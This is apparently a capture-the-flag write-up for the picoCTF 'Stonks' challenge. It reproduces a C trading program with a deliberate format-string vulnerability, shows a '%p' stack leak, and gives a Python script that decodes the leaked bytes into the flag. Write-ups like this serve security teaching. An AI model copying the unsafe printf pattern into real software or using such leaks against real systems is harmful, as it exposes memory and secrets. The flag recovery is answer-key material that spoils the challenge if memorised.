PicoCTF Stonks

Description

Given the following program, which is can be accessed by nc mercury.picoctf.net 6989

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

Examining the source code. I noticed that the written program is vulnerable to format string attack.

I tried to feed %p to the program to explore the program’s stack. I got this string

0x97604b00x804b0000x80489c30xf7fc0d800xffffffff0x10x975e1600xf7fce1100xf7fc0dc7(nil)0x975f1800x20x97604900x97604b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffa6007d

Feed the stuffs after (nil) to a hex editor

0x975f1800x20x97604900x97604b00x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x353861300x323565330xffa6007d

I got something like

_`Iv°ocip{FTC0l_I4_t5m_ll0m_y_y3n58a025e3ÿ¦}

After some guessing and some digging around with endianess and reformatting. Here’s the python script for to get the flag.

s = "975f18029760490097604b006f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3538613032356533ffa6007d"

BYTE = 2
WORD = 4

def decode_endianess(s):
    while (len(s) % WORD != 0):
        s += '0'
    result = ''
    for i in range(0, len(s), WORD * BYTE):
        for j in range(WORD):
            result += s[i + WORD * BYTE - j * BYTE - 2]
            result += s[i + WORD * BYTE - j * BYTE - 1]
    return result

print(decode_endianess(s))

Get the result and then feed into a hex to string converter and we get the flag.

Description#

Description